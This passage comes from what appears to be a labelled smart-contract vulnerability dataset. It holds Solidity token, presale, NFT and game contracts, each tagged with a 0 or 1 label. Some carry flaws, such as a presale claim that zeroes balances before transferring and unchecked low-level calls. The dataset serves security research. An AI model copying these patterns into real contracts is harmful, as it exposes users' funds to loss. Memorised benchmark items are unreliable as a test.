round_[_rID].pot = _pot.add(round_[_rID].pot);
}
_eventData_.setGenAmount(_gen.add(_eventData_.genAmount));
_eventData_.setPotAmount(_pot);
return _eventData_;
}
function withdrawEarnings(uint256 _pID) private returns(uint256)
{
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen);
if(_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
}
return _earnings;
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keyIndex, DRSDatasets.EventReturns memory _eventData_) private
{
_eventData_ = _eventData_.setTimestamp(now);
_eventData_ = _eventData_.setPID(_pID);
_eventData_ = _eventData_.setRID(rID_);
emit DRSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keyIndex,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
_eventData_.genAddr,
_eventData_.genKeyPrice
);
}
modifier isActivated() {
require(activated_, "its not activated yet.");
_;
}
function activate() onlyOwner() public
{
require(!activated_, "ReserveBag already activated");
uint256 _now = now;
activated_ = true;
rID_ = 1;
round_[1].strt = _now.add(rndExtra_).sub(rndGap_);
round_[1].end = _now.add(rndMax_).add(rndExtra_);
}
function getActivated() public view returns(bool) {
return activated_;
}
function setTeamPerfitAddress(address _newTeamPerfitAddress) onlyOwner() public {
teamPerfit = TeamPerfitForwarderInterface(_newTeamPerfitAddress);
}
function setPlayerBookAddress(address _newPlayerBookAddress) onlyOwner() public {
playerBook = PlayerBookInterface(_newPlayerBookAddress);
}
function setDRSCoinAddress(address _newDRSCoinAddress) onlyOwner() public {
drsCoin = DRSCoinInterface(_newDRSCoinAddress);
}
} | 1 | 4,830 |
pragma solidity ^0.4.11;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Bitstocksmarkettoken{
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract Bitstocksmarket is ERC20,Bitstocksmarkettoken,Ownable {
using SafeMath for uint256;
string public name = "Bitstocksmarket Token";
string public symbol = "BSM";
uint public decimals = 10;
uint256 public unitsOneEthCanBuy = 1700;
uint256 public totalEthInWei;
address public fundsWallet = msg.sender;
uint public chainStartTime;
uint public chainStartBlockNumber;
uint public stakeStartTime;
uint public stakeMinAge = 3 days;
uint public stakeMaxAge = 90 days;
uint public maxMintProofOfStake = 10**16;
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function Bitstocksmarket() {
maxTotalSupply = 5000000000000000000;
totalInitialSupply = 500000000000000000;
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
} | 1 | 5,289 |
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Presale is Ownable {
using SafeMath for uint256;
uint256 public rate;
bool public presale;
IERC20 public token;
mapping(address => uint256) public claimable;
event IsPresaleOverEvent(bool over);
event ClaimTokenEvent(address user, uint256 amount);
event RateEvent(uint256 rate);
constructor(uint256 _rate, address _token) public {
rate = _rate;
token = IERC20(_token);
presale = false;
}
modifier isPresaleOver() {
require(presale == true, "The presale is not over");
_;
}
function endPresale() external onlyOwner returns (bool) {
presale = true;
emit IsPresaleOverEvent(true);
return presale;
}
function startPresale() external onlyOwner returns (bool) {
presale = false;
emit IsPresaleOverEvent(false);
return presale;
}
function buyToken() external payable {
require(presale == false, "presale is over you cannot buy now");
require(msg.value > 0);
require(msg.value.add(claimable[msg.sender].mul(1e18).div(rate)) <= 15e18,'the amount should be less than 15 ethers');
uint256 tokensToBuy = msg.value.mul(rate).div(1e18);
claimable[msg.sender] = claimable[msg.sender].add(tokensToBuy);
emit ClaimTokenEvent(msg.sender, tokensToBuy);
}
function claimToken() external isPresaleOver {
require(
claimable[msg.sender] > 0,
"You need to buy at least some token"
);
claimable[msg.sender] = 0;
token.transfer(msg.sender, claimable[msg.sender]);
emit ClaimTokenEvent(msg.sender, 0);
}
function setTokenRate(uint256 _rate) external onlyOwner {
rate = _rate;
emit RateEvent(_rate);
}
function getEthBalance() public view returns (uint256) {
return address(this).balance;
}
function getTokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function adminTokenTrans() external onlyOwner{
require(getTokenBalance() > 0,'the contract has no pry tokens');
token.transfer(msg.sender,token.balanceOf(address(this)));
}
function adminTransferFund(uint256 value) external onlyOwner {
msg.sender.call{value: value}("");
}
} | 0 | 1,836 |
pragma solidity ^0.4.24;
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes data
)
public;
}
contract IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) private _tokenOwner;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => uint256) private _ownedTokensCount;
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes _data
)
public
{
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
mapping(address => uint256[]) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) external view returns (string);
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
string private _name;
string private _symbol;
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address tokenAddress,
uint256 tokenAmount
)
public
onlyOwner
{
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
contract CryptoGiftToken is ERC721Full, MinterRole, TokenRecover {
struct GiftStructure {
uint256 amount;
address purchaser;
string content;
uint256 date;
uint256 style;
}
uint256 private _styles;
uint256 private _progressiveId;
uint256 private _maxSupply;
mapping(uint256 => GiftStructure) private _structureIndex;
modifier canGenerate() {
require(
_progressiveId < _maxSupply,
"Max token supply reached"
);
_;
}
constructor(
string name,
string symbol,
uint256 maxSupply
)
public
ERC721Full(name, symbol)
{
_maxSupply = maxSupply;
}
function styles() external view returns (uint256) {
return _styles;
}
function progressiveId() external view returns (uint256) {
return _progressiveId;
}
function maxSupply() external view returns (uint256) {
return _maxSupply;
}
function newGift(
uint256 amount,
address purchaser,
address beneficiary,
string content,
uint256 date,
uint256 style
)
external
canGenerate
onlyMinter
returns (uint256)
{
require(
date > 0,
"Date must be greater than zero"
);
require(
style <= _styles,
"Style is not available"
);
uint256 tokenId = _progressiveId.add(1);
_mint(beneficiary, tokenId);
_structureIndex[tokenId] = GiftStructure(
amount,
purchaser,
content,
date,
style
);
_progressiveId = tokenId;
return tokenId;
}
function isVisible (
uint256 tokenId
)
external
view
returns (bool visible, uint256 date)
{
if (_exists(tokenId)) {
GiftStructure storage gift = _structureIndex[tokenId];
visible = block.timestamp >= gift.date;
date = gift.date;
} else {
visible = false;
date = 0;
}
}
function getGift (uint256 tokenId)
external
view
returns (
uint256 amount,
address purchaser,
address beneficiary,
string content,
uint256 date,
uint256 style
)
{
require(
_exists(tokenId),
"Token must exists"
);
GiftStructure storage gift = _structureIndex[tokenId];
require(
block.timestamp >= gift.date,
"Now should be greater than gift date"
);
amount = gift.amount;
purchaser = gift.purchaser;
beneficiary = ownerOf(tokenId);
content = gift.content;
date = gift.date;
style = gift.style;
}
function burn(uint256 tokenId) external {
address tokenOwner = isOwner() ? ownerOf(tokenId) : msg.sender;
super._burn(tokenOwner, tokenId);
delete _structureIndex[tokenId];
}
function setStyles(uint256 newStyles) external onlyMinter {
require(
newStyles > _styles,
"Styles cannot be decreased"
);
_styles = newStyles;
}
} | 1 | 4,714 |
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
uint256[50] private __gap;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
